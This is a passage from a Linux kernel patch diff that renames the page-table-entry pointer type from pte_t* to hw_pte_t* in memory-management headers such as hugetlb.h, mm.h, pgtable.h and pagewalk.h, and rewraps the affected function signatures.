  * huge_pte_alloc(): to avoid reliance on pte_offset_map() without pte_unmap().
  */
-static inline pte_t *pte_offset_huge(pmd_t *pmd, unsigned long address)
+static inline hw_pte_t *pte_offset_huge(pmd_t *pmd, unsigned long address)
 {
 	return pte_offset_kernel(pmd, address);
 }
-static inline pte_t *pte_alloc_huge(struct mm_struct *mm, pmd_t *pmd,
+static inline hw_pte_t *pte_alloc_huge(struct mm_struct *mm, pmd_t *pmd,
 				    unsigned long address)
 {
 	return pte_alloc(mm, pmd) ? NULL : pte_offset_huge(pmd, address);
 }
 #endif
 
-pte_t *huge_pte_alloc(struct mm_struct *mm, struct vm_area_struct *vma,
+hw_pte_t *huge_pte_alloc(struct mm_struct *mm, struct vm_area_struct *vma,
 			unsigned long addr, unsigned long sz);
 /*
  * huge_pte_offset(): Walk the hugetlb pgtable until the last level PTE.
- * Returns the pte_t* if found, or NULL if the address is not mapped.
+ * Returns the hw_pte_t* if found, or NULL if the address is not mapped.
  *
  * IMPORTANT: we should normally not directly call this function, instead
  * this is only a common interface to implement arch-specific
@@ -236,11 +236,11 @@ pte_t *huge_pte_alloc(struct mm_struct *mm, struct vm_area_struct *vma,
  * a concurrent pmd unshare, but it makes sure the pgtable page is safe to
  * access.
  */
-pte_t *huge_pte_offset(struct mm_struct *mm,
+hw_pte_t *huge_pte_offset(struct mm_struct *mm,
 		       unsigned long addr, unsigned long sz);
 unsigned long hugetlb_mask_last_page(struct hstate *h);
 int huge_pmd_unshare(struct mmu_gather *tlb, struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep);
+		unsigned long addr, hw_pte_t *ptep);
 void huge_pmd_unshare_flush(struct mmu_gather *tlb, struct vm_area_struct *vma);
 void adjust_range_if_pmd_sharing_possible(struct vm_area_struct *vma,
 				unsigned long *start, unsigned long *end);
@@ -302,7 +302,8 @@ static inline struct address_space *hugetlb_folio_mapping_lock_write(
 }
 
 static inline int huge_pmd_unshare(struct mmu_gather *tlb,
-		struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+		struct vm_area_struct *vma, unsigned long addr,
+		hw_pte_t *ptep)
 {
 	return 0;
 }
@@ -394,7 +395,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 }
 
 #ifdef CONFIG_USERFAULTFD
-static inline int hugetlb_mfill_atomic_pte(pte_t *dst_pte,
+static inline int hugetlb_mfill_atomic_pte(hw_pte_t *dst_pte,
 					   struct vm_area_struct *dst_vma,
 					   unsigned long dst_addr,
 					   unsigned long src_addr,
@@ -406,7 +407,7 @@ static inline int hugetlb_mfill_atomic_pte(pte_t *dst_pte,
 }
 #endif /* CONFIG_USERFAULTFD */
 
-static inline pte_t *huge_pte_offset(struct mm_struct *mm, unsigned long addr,
+static inline hw_pte_t *huge_pte_offset(struct mm_struct *mm, unsigned long addr,
 					unsigned long sz)
 {
 	return NULL;
@@ -989,7 +990,8 @@ static inline bool htlb_allow_alloc_fallback(enum migrate_reason reason)
 }
 
 static inline spinlock_t *huge_pte_lockptr(struct hstate *h,
-					   struct mm_struct *mm, pte_t *pte)
+					   struct mm_struct *mm,
+					   hw_pte_t *pte)
 {
 	const unsigned long size = huge_page_size(h);
 
@@ -1053,7 +1055,8 @@ static inline void hugetlb_count_sub(long l, struct mm_struct *mm)
 #ifndef huge_ptep_modify_prot_start
 #define huge_ptep_modify_prot_start huge_ptep_modify_prot_start
 static inline pte_t huge_ptep_modify_prot_start(struct vm_area_struct *vma,
-						unsigned long addr, pte_t *ptep)
+						unsigned long addr,
+						hw_pte_t *ptep)
 {
 	unsigned long psize = huge_page_size(hstate_vma(vma));
 
@@ -1064,7 +1067,8 @@ static inline pte_t huge_ptep_modify_prot_start(struct vm_area_struct *vma,
 #ifndef huge_ptep_modify_prot_commit
 #define huge_ptep_modify_prot_commit huge_ptep_modify_prot_commit
 static inline void huge_ptep_modify_prot_commit(struct vm_area_struct *vma,
-						unsigned long addr, pte_t *ptep,
+						unsigned long addr,
+						hw_pte_t *ptep,
 						pte_t old_pte, pte_t pte)
 {
 	unsigned long psize = huge_page_size(hstate_vma(vma));
@@ -1252,7 +1256,8 @@ static inline bool htlb_allow_alloc_fallback(enum migrate_reason reason)
 }
 
 static inline spinlock_t *huge_pte_lockptr(struct hstate *h,
-					   struct mm_struct *mm, pte_t *pte)
+					   struct mm_struct *mm,
+					   hw_pte_t *pte)
 {
 	return &mm->page_table_lock;
 }
@@ -1269,11 +1274,11 @@ static inline void hugetlb_count_sub(long l, struct mm_struct *mm)
 {
 }
 
-pte_t huge_ptep_get(struct mm_struct *mm, unsigned long addr, pte_t *ptep);
+pte_t huge_ptep_get(struct mm_struct *mm, unsigned long addr, hw_pte_t *ptep);
 unsigned long huge_pte_dirty(pte_t pte);
 
 static inline pte_t huge_ptep_clear_flush(struct vm_area_struct *vma,
-					  unsigned long addr, pte_t *ptep)
+					  unsigned long addr, hw_pte_t *ptep)
 {
 #ifdef CONFIG_MMU
 	return ptep_get(ptep);
@@ -1283,7 +1288,8 @@ static inline pte_t huge_ptep_clear_flush(struct vm_area_struct *vma,
 }
 
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte, unsigned long sz)
+				   hw_pte_t *ptep, pte_t pte,
+				   unsigned long sz)
 {
 }
 
@@ -1311,7 +1317,7 @@ static inline void hugetlb_bootmem_struct_page_init(void)
 #endif	/* CONFIG_HUGETLB_PAGE */
 
 static inline spinlock_t *huge_pte_lock(struct hstate *h,
-					struct mm_struct *mm, pte_t *pte)
+					struct mm_struct *mm, hw_pte_t *pte)
 {
 	spinlock_t *ptl;
 
@@ -1329,12 +1335,12 @@ static inline __init void hugetlb_cma_reserve(void)
 #endif
 
 #ifdef CONFIG_HUGETLB_PMD_PAGE_TABLE_SHARING
-static inline bool hugetlb_pmd_shared(pte_t *pte)
+static inline bool hugetlb_pmd_shared(hw_pte_t *pte)
 {
 	return ptdesc_pmd_is_shared(virt_to_ptdesc(pte));
 }
 #else
-static inline bool hugetlb_pmd_shared(pte_t *pte)
+static inline bool hugetlb_pmd_shared(hw_pte_t *pte)
 {
 	return false;
 }
@@ -1361,7 +1367,7 @@ bool __vma_private_lock(struct vm_area_struct *vma);
  * Safe version of huge_pte_offset() to check the locks.  See comments
  * above huge_pte_offset().
  */
-static inline pte_t *
+static inline hw_pte_t *
 hugetlb_walk(struct vm_area_struct *vma, unsigned long addr, unsigned long sz)
 {
 #if defined(CONFIG_HUGETLB_PMD_PAGE_TABLE_SHARING) && defined(CONFIG_LOCKDEP)
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 7fabe6c66b4b7..f41441c4a5a3b 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -782,7 +782,7 @@ struct vm_fault {
 					 * VM_FAULT_ERROR).
 					 */
 	/* These three entries are valid only while holding ptl lock */
-	pte_t *pte;			/* Pointer to pte entry matching
+	hw_pte_t *pte;			/* Pointer to pte entry matching
 					 * the 'address'. NULL if the page
 					 * table hasn't been allocated.
 					 */
@@ -3188,7 +3188,7 @@ struct follow_pfnmap_args {
 	 * The caller shouldn't touch any of these.
 	 */
 	spinlock_t *lock;
-	pte_t *ptep;
+	hw_pte_t *ptep;
 	/**
 	 * Outputs:
 	 *
@@ -3525,7 +3525,7 @@ static inline pud_t pud_mkspecial(pud_t pud)
 }
 #endif	/* CONFIG_ARCH_SUPPORTS_PUD_PFNMAP */
 
-extern pte_t *get_locked_pte(struct mm_struct *mm, unsigned long addr,
+extern hw_pte_t *get_locked_pte(struct mm_struct *mm, unsigned long addr,
 			     spinlock_t **ptl);
 
 #ifdef __PAGETABLE_P4D_FOLDED
@@ -3803,7 +3803,7 @@ static inline spinlock_t *pte_lockptr(struct mm_struct *mm, pmd_t *pmd)
 	return ptlock_ptr(page_ptdesc(pmd_page(*pmd)));
 }
 
-static inline spinlock_t *ptep_lockptr(struct mm_struct *mm, pte_t *pte)
+static inline spinlock_t *ptep_lockptr(struct mm_struct *mm, hw_pte_t *pte)
 {
 	BUILD_BUG_ON(IS_ENABLED(CONFIG_HIGHPTE));
 	BUILD_BUG_ON(MAX_PTRS_PER_PTE * sizeof(pte_t) > PAGE_SIZE);
@@ -3834,7 +3834,7 @@ static inline spinlock_t *pte_lockptr(struct mm_struct *mm, pmd_t *pmd)
 {
 	return &mm->page_table_lock;
 }
-static inline spinlock_t *ptep_lockptr(struct mm_struct *mm, pte_t *pte)
+static inline spinlock_t *ptep_lockptr(struct mm_struct *mm, hw_pte_t *pte)
 {
 	return &mm->page_table_lock;
 }
@@ -3875,19 +3875,19 @@ static inline bool pagetable_pte_ctor(struct mm_struct *mm,
 	return true;
 }
 
-pte_t *__pte_offset_map(pmd_t *pmd, unsigned long addr, pmd_t *pmdvalp);
+hw_pte_t *__pte_offset_map(pmd_t *pmd, unsigned long addr, pmd_t *pmdvalp);
 
-static inline pte_t *pte_offset_map(pmd_t *pmd, unsigned long addr)
+static inline hw_pte_t *pte_offset_map(pmd_t *pmd, unsigned long addr)
 {
 	return __pte_offset_map(pmd, addr, NULL);
 }
 
-pte_t *pte_offset_map_lock(struct mm_struct *mm, pmd_t *pmd,
+hw_pte_t *pte_offset_map_lock(struct mm_struct *mm, pmd_t *pmd,
 			   unsigned long addr, spinlock_t **ptlp);
 
-pte_t *pte_offset_map_ro_nolock(struct mm_struct *mm, pmd_t *pmd,
+hw_pte_t *pte_offset_map_ro_nolock(struct mm_struct *mm, pmd_t *pmd,
 				unsigned long addr, spinlock_t **ptlp);
-pte_t *pte_offset_map_rw_nolock(struct mm_struct *mm, pmd_t *pmd,
+hw_pte_t *pte_offset_map_rw_nolock(struct mm_struct *mm, pmd_t *pmd,
 				unsigned long addr, pmd_t *pmdvalp,
 				spinlock_t **ptlp);
 
@@ -4836,7 +4836,7 @@ static inline bool gup_can_follow_protnone(const struct vm_area_struct *vma,
 	return !vma_is_accessible(vma);
 }
 
-typedef int (*pte_fn_t)(pte_t *pte, unsigned long addr, void *data);
+typedef int (*pte_fn_t)(hw_pte_t *pte, unsigned long addr, void *data);
 extern int apply_to_page_range(struct mm_struct *mm, unsigned long address,
 			       unsigned long size, pte_fn_t fn, void *data);
 extern int apply_to_existing_page_range(struct mm_struct *mm,
@@ -5086,7 +5086,7 @@ void *vmemmap_alloc_block(unsigned long size, int node);
 struct vmem_altmap;
 void *vmemmap_alloc_block_buf(unsigned long size, int node,
 			      struct vmem_altmap *altmap);
-void vmemmap_verify(pte_t *, int, unsigned long, unsigned long);
+void vmemmap_verify(hw_pte_t *, int, unsigned long, unsigned long);
 void vmemmap_set_pmd(pmd_t *pmd, void *p, int node,
 		     unsigned long addr, unsigned long next);
 int vmemmap_check_pmd(pmd_t *pmd, int node,
@@ -5454,7 +5454,7 @@ static inline bool snapshot_page_is_faithful(const struct page_snapshot *ps)
 
 void snapshot_page(struct page_snapshot *ps, const struct page *page);
 
-void map_anon_folio_pte_nopf(struct folio *folio, pte_t *pte,
+void map_anon_folio_pte_nopf(struct folio *folio, hw_pte_t *pte,
 		struct vm_area_struct *vma, unsigned long addr,
 		bool uffd_wp);
 
diff --git a/include/linux/page_table_check.h b/include/linux/page_table_check.h
index 12ee6d16ad339..933c1028c2232 100644
--- a/include/linux/page_table_check.h
+++ b/include/linux/page_table_check.h
@@ -23,7 +23,7 @@ void __page_table_check_pmd_clear(struct mm_struct *mm, unsigned long addr,
 void __page_table_check_pud_clear(struct mm_struct *mm, unsigned long addr,
 				  pud_t pud);
 void __page_table_check_ptes_set(struct mm_struct *mm, unsigned long addr,
-		pte_t *ptep, pte_t pte, unsigned int nr);
+		hw_pte_t *ptep, pte_t pte, unsigned int nr);
 void __page_table_check_pmds_set(struct mm_struct *mm, unsigned long addr,
 		pmd_t *pmdp, pmd_t pmd, unsigned int nr);
 void __page_table_check_puds_set(struct mm_struct *mm, unsigned long addr,
@@ -76,7 +76,8 @@ static inline void page_table_check_pud_clear(struct mm_struct *mm,
 }
 
 static inline void page_table_check_ptes_set(struct mm_struct *mm,
-					     unsigned long addr, pte_t *ptep,
+					     unsigned long addr,
+					     hw_pte_t *ptep,
 					     pte_t pte, unsigned int nr)
 {
 	if (static_branch_likely(&page_table_check_disabled))
@@ -139,7 +140,8 @@ static inline void page_table_check_pud_clear(struct mm_struct *mm,
 }
 
 static inline void page_table_check_ptes_set(struct mm_struct *mm,
-					     unsigned long addr, pte_t *ptep,
+					     unsigned long addr,
+					     hw_pte_t *ptep,
 					     pte_t pte, unsigned int nr)
 {
 }
diff --git a/include/linux/pagewalk.h b/include/linux/pagewalk.h
index c34d826c5e4a2..7ab2eb39e02c0 100644
--- a/include/linux/pagewalk.h
+++ b/include/linux/pagewalk.h
@@ -38,7 +38,7 @@ enum page_walk_lock {
  *			not trigger for any populated ranges.
  * @hugetlb_entry:	if set, called for each hugetlb entry. This hook
  *			function is called with the vma lock held, in order to
- *			protect against a concurrent freeing of the pte_t* or
+ *			protect against a concurrent freeing of the hw_pte_t* or
  *			the ptl. In some cases, the hook function needs to drop
  *			and retake the vma lock in order to avoid deadlocks
  *			while calling other functions. In such cases the hook
@@ -76,11 +76,11 @@ struct mm_walk_ops {
 			 unsigned long next, struct mm_walk *walk);
 	int (*pmd_entry)(pmd_t *pmd, unsigned long addr,
 			 unsigned long next, struct mm_walk *walk);
-	int (*pte_entry)(pte_t *pte, unsigned long addr,
+	int (*pte_entry)(hw_pte_t *pte, unsigned long addr,
 			 unsigned long next, struct mm_walk *walk);
 	int (*pte_hole)(unsigned long addr, unsigned long next,
 			int depth, struct mm_walk *walk);
-	int (*hugetlb_entry)(pte_t *pte, unsigned long hmask,
+	int (*hugetlb_entry)(hw_pte_t *pte, unsigned long hmask,
 			     unsigned long addr, unsigned long next,
 			     struct mm_walk *walk);
 	int (*test_walk)(unsigned long addr, unsigned long next,
@@ -173,7 +173,7 @@ struct folio_walk {
 	struct page *page;
 	enum folio_walk_level level;
 	union {
-		pte_t *ptep;
+		hw_pte_t *ptep;
 		pud_t *pudp;
 		pmd_t *pmdp;
 	};
diff --git a/include/linux/pgtable.h b/include/linux/pgtable.h
index cf595608cc4c4..dad80d264aac2 100644
--- a/include/linux/pgtable.h
+++ b/include/linux/pgtable.h
@@ -94,26 +94,26 @@ static inline void pud_init(void *addr)
 #endif
 
 #ifndef pte_offset_kernel
-static inline pte_t *pte_offset_kernel(pmd_t *pmd, unsigned long address)
+static inline hw_pte_t *pte_offset_kernel(pmd_t *pmd, unsigned long address)
 {
-	return (pte_t *)pmd_page_vaddr(*pmd) + pte_index(address);
+	return (hw_pte_t *)pmd_page_vaddr(*pmd) + pte_index(address);
 }
 #define pte_offset_kernel pte_offset_kernel
 #endif
 
 #ifdef CONFIG_HIGHPTE
 #define __pte_map(pmd, address) \
-	((pte_t *)kmap_local_page(pmd_page(*(pmd))) + pte_index((address)))
+	((hw_pte_t *)kmap_local_page(pmd_page(*(pmd))) + pte_index((address)))
 #define pte_unmap(pte)	do {	\
 	kunmap_local((pte));	\
 	rcu_read_unlock();	\
 } while (0)
 #else
-static inline pte_t *__pte_map(pmd_t *pmd, unsigned long address)
+static inline hw_pte_t *__pte_map(pmd_t *pmd, unsigned long address)
 {
 	return pte_offset_kernel(pmd, address);
 }
-static inline void pte_unmap(pte_t *pte)
+static inline void pte_unmap(hw_pte_t *pte)
 {
 	rcu_read_unlock();
 }
@@ -173,7 +173,7 @@ static inline pmd_t *pmd_off_k(unsigned long va)
 	return pmd_offset(pud_offset(p4d_offset(pgd_offset_k(va), va), va), va);
 }
 
-static inline pte_t *virt_to_kpte(unsigned long vaddr)
+static inline hw_pte_t *virt_to_kpte(unsigned long vaddr)
 {
 	pmd_t *pmd = pmd_off_k(vaddr);
 
@@ -408,7 +408,7 @@ static inline void lazy_mmu_mode_resume(void) {}
  *
  * May be overridden by the architecture, else pte_batch_hint is always 1.
  */
-static inline unsigned int pte_batch_hint(pte_t *ptep, pte_t pte)
+static inline unsigned int pte_batch_hint(hw_pte_t *ptep, pte_t pte)
 {
 	return 1;
 }
@@ -443,7 +443,7 @@ static inline pte_t pte_advance_pfn(pte_t pte, unsigned long nr)
  * to the same folio.  The PTEs are all in the same PMD.
  */
 static inline void set_ptes(struct mm_struct *mm, unsigned long addr,
-		pte_t *ptep, pte_t pte, unsigned int nr)
+		hw_pte_t *ptep, pte_t pte, unsigned int nr)
 {
 	page_table_check_ptes_set(mm, addr, ptep, pte, nr);
 
@@ -460,7 +460,7 @@ static inline void set_ptes(struct mm_struct *mm, unsigned long addr,
 
 #ifndef __HAVE_ARCH_PTEP_SET_ACCESS_FLAGS
 extern int ptep_set_access_flags(struct vm_area_struct *vma,
-				 unsigned long address, pte_t *ptep,
+				 unsigned long address, hw_pte_t *ptep,
 				 pte_t entry, int dirty);
 #endif
 
@@ -491,7 +491,7 @@ static inline int pudp_set_access_flags(struct vm_area_struct *vma,
 #endif
 
 #ifndef ptep_get
-static inline pte_t ptep_get(pte_t *ptep)
+static inline pte_t ptep_get(hw_pte_t *ptep)
 {
 	return READ_ONCE(*ptep);
 }
@@ -527,7 +527,7 @@ static inline pgd_t pgdp_get(pgd_t *pgdp)
 
 #ifndef __HAVE_ARCH_PTEP_TEST_AND_CLEAR_YOUNG
 static inline bool ptep_test_and_clear_young(struct vm_area_struct *vma,
-		unsigned long address, pte_t *ptep)
+		unsigned long address, hw_pte_t *ptep)
 {
 	pte_t pte = ptep_get(ptep);
 	bool young = true;
@@ -566,7 +566,7 @@ static inline bool pmdp_test_and_clear_young(struct vm_area_struct *vma,
 
 #ifndef __HAVE_ARCH_PTEP_CLEAR_YOUNG_FLUSH
 bool ptep_clear_flush_young(struct vm_area_struct *vma,
-		unsigned long address, pte_t *ptep);
+		unsigned long address, hw_pte_t *ptep);
 #endif
 
 #ifndef __HAVE_ARCH_PMDP_CLEAR_YOUNG_FLUSH
@@ -645,7 +645,7 @@ static inline void arch_check_zapped_pud(struct vm_area_struct *vma, pud_t pud)
 #ifndef __HAVE_ARCH_PTEP_GET_AND_CLEAR
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm,
 				       unsigned long address,
-				       pte_t *ptep)
+				       hw_pte_t *ptep)
 {
 	pte_t pte = ptep_get(ptep);
 	pte_clear(mm, address, ptep);
@@ -674,7 +674,7 @@ static inline pte_t ptep_get_and_clear(struct mm_struct *mm,
  * pages that belong to the same folio.  The PTEs are all in the same PMD.
  */
 static inline void clear_young_dirty_ptes(struct vm_area_struct *vma,
-					  unsigned long addr, pte_t *ptep,
+					  unsigned long addr, hw_pte_t *ptep,
 					  unsigned int nr, cydp_t flags)
 {
 	pte_t pte;
@@ -699,7 +699,7 @@ static inline void clear_young_dirty_ptes(struct vm_area_struct *vma,
 #endif
 
 static inline void ptep_clear(struct mm_struct *mm, unsigned long addr,
-			      pte_t *ptep)
+			      hw_pte_t *ptep)
 {
 	pte_t pte = ptep_get(ptep);
 
@@ -740,7 +740,7 @@ static inline void ptep_clear(struct mm_struct *mm, unsigned long addr,
  * present bit set *unless* it is 'l'. Because get_user_pages_fast() only
  * operates on present ptes we're safe.
  */
-static inline pte_t ptep_get_lockless(pte_t *ptep)
+static inline pte_t ptep_get_lockless(hw_pte_t *ptep)
 {
 	pte_t pte;
 
@@ -778,7 +778,7 @@ static inline pmd_t pmdp_get_lockless(pmd_t *pmdp)
  * We require that the PTE can be read atomically.
  */
 #ifndef ptep_get_lockless
-static inline pte_t ptep_get_lockless(pte_t *ptep)
+static inline pte_t ptep_get_lockless(hw_pte_t *ptep)
 {
 	return ptep_get(ptep);
 }
@@ -845,7 +845,8 @@ static inline pud_t pudp_huge_get_and_clear_full(struct vm_area_struct *vma,
 
 #ifndef __HAVE_ARCH_PTEP_GET_AND_CLEAR_FULL
 static inline pte_t ptep_get_and_clear_full(struct mm_struct *mm,
-					    unsigned long address, pte_t *ptep,
+					    unsigned long address,
+					    hw_pte_t *ptep,
 					    int full)
 {
 	return ptep_get_and_clear(mm, address, ptep);
@@ -873,7 +874,7 @@ static inline pte_t ptep_get_and_clear_full(struct mm_struct *mm,
  * pages that belong to the same folio.  The PTEs are all in the same PMD.
  */
 static inline pte_t get_and_clear_full_ptes(struct mm_struct *mm,
-		unsigned long addr, pte_t *ptep, unsigned int nr, int full)
+		unsigned long addr, hw_pte_t *ptep, unsigned int nr, int full)
 {
 	pte_t pte, tmp_pte;
 
@@ -909,7 +910,7 @@ static inline pte_t get_and_clear_full_ptes(struct mm_struct *mm,
  * pages that belong to the same folio.  The PTEs are all in the same PMD.
  */
 static inline pte_t get_and_clear_ptes(struct mm_struct *mm, unsigned long addr,
-		pte_t *ptep, unsigned int nr)
+		hw_pte_t *ptep, unsigned int nr)
 {
 	return get_and_clear_full_ptes(mm, addr, ptep, nr, 0);
 }
@@ -934,7 +935,7 @@ static inline pte_t get_and_clear_ptes(struct mm_struct *mm, unsigned long addr,
  * pages that belong to the same folio.  The PTEs are all in the same PMD.
  */
 static inline void clear_full_ptes(struct mm_struct *mm, unsigned long addr,
-		pte_t *ptep, unsigned int nr, int full)
+		hw_pte_t *ptep, unsigned int nr, int full)
 {
 	for (;;) {
 		ptep_get_and_clear_full(mm, addr, ptep, full);
@@ -963,7 +964,7 @@ static inline void clear_full_ptes(struct mm_struct *mm, unsigned long addr,
  * pages that belong to the same folio.  The PTEs are all in the same PMD.
  */
 static inline void clear_ptes(struct mm_struct *mm, unsigned long addr,
-		pte_t *ptep, unsigned int nr)
+		hw_pte_t *ptep, unsigned int nr)
 {
 	clear_full_ptes(mm, addr, ptep, nr, 0);
 }
@@ -978,13 +979,14 @@ static inline void clear_ptes(struct mm_struct *mm, unsigned long addr,
  */
 #ifndef update_mmu_tlb_range
 static inline void update_mmu_tlb_range(struct vm_area_struct *vma,
-				unsigned long address, pte_t *ptep, unsigned int nr)
+				unsigned long address, hw_pte_t *ptep,
+				unsigned int nr)
 {
 }
 #endif
 
 static inline void update_mmu_tlb(struct vm_area_struct *vma,
-				unsigned long address, pte_t *ptep)
+				unsigned long address, hw_pte_t *ptep)
 {
 	update_mmu_tlb_range(vma, address, ptep, 1);
 }
@@ -1001,7 +1003,7 @@ static inline void update_mmu_tlb(struct vm_area_struct *vma,
  * The PTEs are all in the same PMD.
  */
 static inline void clear_nonpresent_ptes(struct mm_struct *mm,
-		unsigned long addr, pte_t *ptep, unsigned int nr)
+		unsigned long addr, hw_pte_t *ptep, unsigned int nr)
 {
 	(void)addr;
 
@@ -1017,7 +1019,7 @@ static inline void clear_nonpresent_ptes(struct mm_struct *mm,
 #ifndef __HAVE_ARCH_PTEP_CLEAR_FLUSH
 extern pte_t ptep_clear_flush(struct vm_area_struct *vma,
 			      unsigned long address,
-			      pte_t *ptep);
+			      hw_pte_t *ptep);
 #endif
 
 #ifndef __HAVE_ARCH_PMDP_HUGE_CLEAR_FLUSH
@@ -1045,7 +1047,8 @@ static inline pmd_t pmd_mkwrite(pmd_t pmd, struct vm_area_struct *vma)
 
 #ifndef __HAVE_ARCH_PTEP_SET_WRPROTECT
 struct mm_struct;
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long address, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long address,
+				      hw_pte_t *ptep)
 {
 	pte_t old_pte = ptep_get(ptep);
 	set_pte_at(mm, address, ptep, pte_wrprotect(old_pte));
@@ -1071,7 +1074,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addres
  * ptep_try_set as an identity macro. The generic stub returns false, which is
  * correct for callers that fall through to oops on failure.
  */
-static inline bool ptep_try_set(pte_t *ptep, pte_t new_pte)
+static inline bool ptep_try_set(hw_pte_t *ptep, pte_t new_pte)
 {
 	return false;
 }
@@ -1114,7 +1117,7 @@ static inline void flush_tlb_before_set(unsigned long addr)
  * pages that belong to the same folio.  The PTEs are all in the same PMD.
  */
 static inline void wrprotect_ptes(struct mm_struct *mm, unsigned long addr,
-		pte_t *ptep, unsigned int nr)
+		hw_pte_t *ptep, unsigned int nr)
 {
 	for (;;) {
 		ptep_set_wrprotect(mm, addr, ptep);
@@ -1145,7 +1148,7 @@ static inline void wrprotect_ptes(struct mm_struct *mm, unsigned long addr,
  * pages that belong to the same folio.  The PTEs are all in the same PMD.
  */
 static inline bool clear_flush_young_ptes(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, unsigned int nr)
+		unsigned long addr, hw_pte_t *ptep, unsigned int nr)
 {
 	bool young = false;
 
@@ -1182,7 +1185,7 @@ static inline bool clear_flush_young_ptes(struct vm_area_struct *vma,
  * Returns: whether any PTE was young.
  */
 static inline bool test_and_clear_young_ptes(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, unsigned int nr)
+		unsigned long addr, hw_pte_t *ptep, unsigned int nr)
 {
 	bool young = false;
 
@@ -1586,7 +1589,7 @@ static inline int pmd_none_or_clear_bad(pmd_t *pmd)
 
 static inline pte_t __ptep_modify_prot_start(struct vm_area_struct *vma,
 					     unsigned long addr,
-					     pte_t *ptep)
+					     hw_pte_t *ptep)
 {
 	/*
 	 * Get the current pte state, but zero it out to make it
@@ -1598,7 +1601,7 @@ static inline pte_t __ptep_modify_prot_start(struct vm_area_struct *vma,
 
 static inline void __ptep_modify_prot_commit(struct vm_area_struct *vma,
 					     unsigned long addr,
-					     pte_t *ptep, pte_t pte)
+					     hw_pte_t *ptep, pte_t pte)
 {
 	/*
 	 * The pte is non-present, so there's no hardware state to
@@ -1624,7 +1627,7 @@ static inline void __ptep_modify_prot_commit(struct vm_area_struct *vma,
  */
 static inline pte_t ptep_modify_prot_start(struct vm_area_struct *vma,
 					   unsigned long addr,
-					   pte_t *ptep)
+					   hw_pte_t *ptep)
 {
 	return __ptep_modify_prot_start(vma, addr, ptep);
 }
@@ -1637,7 +1640,8 @@ static inline pte_t ptep_modify_prot_start(struct vm_area_struct *vma,
  */
 static inline void ptep_modify_prot_commit(struct vm_area_struct *vma,
 					   unsigned long addr,
-					   pte_t *ptep, pte_t old_pte, pte_t pte)
+					   hw_pte_t *ptep, pte_t old_pte,
+					   pte_t pte)
 {
 	__ptep_modify_prot_commit(vma, addr, ptep, pte);
 }
@@ -1668,7 +1672,7 @@ static inline void ptep_modify_prot_commit(struct vm_area_struct *vma,
  */
 #ifndef modify_prot_start_ptes
 static inline pte_t modify_prot_start_ptes(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, unsigned int nr)
+		unsigned long addr, hw_pte_t *ptep, unsigned int nr)
 {
 	pte_t pte, tmp_pte;
 
@@ -1708,7 +1712,7 @@ static inline pte_t modify_prot_start_ptes(struct vm_area_struct *vma,
  */
 #ifndef modify_prot_commit_ptes
 static inline void modify_prot_commit_ptes(struct vm_area_struct *vma, unsigned long addr,
-		pte_t *ptep, pte_t old_pte, pte_t pte, unsigned int nr)
+		hw_pte_t *ptep, pte_t old_pte, pte_t pte, unsigned int nr)
 {
 	int i;
 
diff --git a/include/linux/rmap.h b/include/linux/rmap.h
index a174758f77775..1fc64074283d6 100644
--- a/include/linux/rmap.h
+++ b/include/linux/rmap.h
@@ -868,7 +868,7 @@ struct page_vma_mapped_walk {
 	struct vm_area_struct *vma;
 	unsigned long address;
 	pmd_t *pmd;
-	pte_t *pte;
+	hw_pte_t *pte;
 	spinlock_t *ptl;
 	unsigned int flags;
 	bool is_anon_walk;
diff --git a/include/linux/swapops.h b/include/linux/swapops.h
index c956bc445ee01..aeba03c96da1f 100644
--- a/include/linux/swapops.h
+++ b/include/linux/swapops.h
@@ -215,7 +215,8 @@ static inline swp_entry_t make_migration_entry_dirty(swp_entry_t entry)
 
 extern void migration_entry_wait(struct mm_struct *mm, pmd_t *pmd,
 					unsigned long address);
-extern void migration_entry_wait_huge(struct vm_area_struct *vma, unsigned long addr, pte_t *pte);
+extern void migration_entry_wait_huge(struct vm_area_struct *vma, unsigned long addr,
+				      hw_pte_t *pte);
 #else  /* CONFIG_MIGRATION */
 static inline swp_entry_t make_readable_migration_entry(pgoff_t offset)
 {
@@ -235,7 +236,8 @@ static inline swp_entry_t make_writable_migration_entry(pgoff_t offset)
 static inline void migration_entry_wait(struct mm_struct *mm, pmd_t *pmd,
 					unsigned long address) { }
 static inline void migration_entry_wait_huge(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *pte) { }
+					     unsigned long addr,
+					     hw_pte_t *pte) { }
 
 static inline swp_entry_t make_migration_entry_young(swp_entry_t entry)
 {
diff --git a/include/linux/vmalloc.h b/include/linux/vmalloc.h
index c59a68c183110..993566c71d72c 100644
--- a/include/linux/vmalloc.h
+++ b/include/linux/vmalloc.h
@@ -120,7 +120,7 @@ static inline unsigned long arch_vmap_pte_range_map_size(unsigned long addr, uns
 
 #ifndef arch_vmap_pte_range_unmap_size
 static inline unsigned long arch_vmap_pte_range_unmap_size(unsigned long addr,
-							   pte_t *ptep)
+							   hw_pte_t *ptep)
 {
 	return PAGE_SIZE;
 }
diff --git a/include/trace/events/xen.h b/include/trace/events/xen.h
index ad384969e2cb2..1972d50b043a5 100644
--- a/include/trace/events/xen.h
+++ b/include/trace/events/xen.h
@@ -138,10 +138,10 @@ TRACE_EVENT(xen_mc_extend_args,
 TRACE_DEFINE_SIZEOF(pteval_t);
 
 TRACE_EVENT(xen_mmu_set_pte,
-	    TP_PROTO(pte_t *ptep, pte_t pteval),
+	    TP_PROTO(hw_pte_t *ptep, pte_t pteval),
 	    TP_ARGS(ptep, pteval),
 	    TP_STRUCT__entry(
-		    __field(pte_t *, ptep)
+		    __field(hw_pte_t *, ptep)
 		    __field(pteval_t, pteval)
 		    ),
 	    TP_fast_assign(__entry->ptep = ptep;
@@ -207,12 +207,12 @@ TRACE_EVENT(xen_mmu_set_p4d,
 
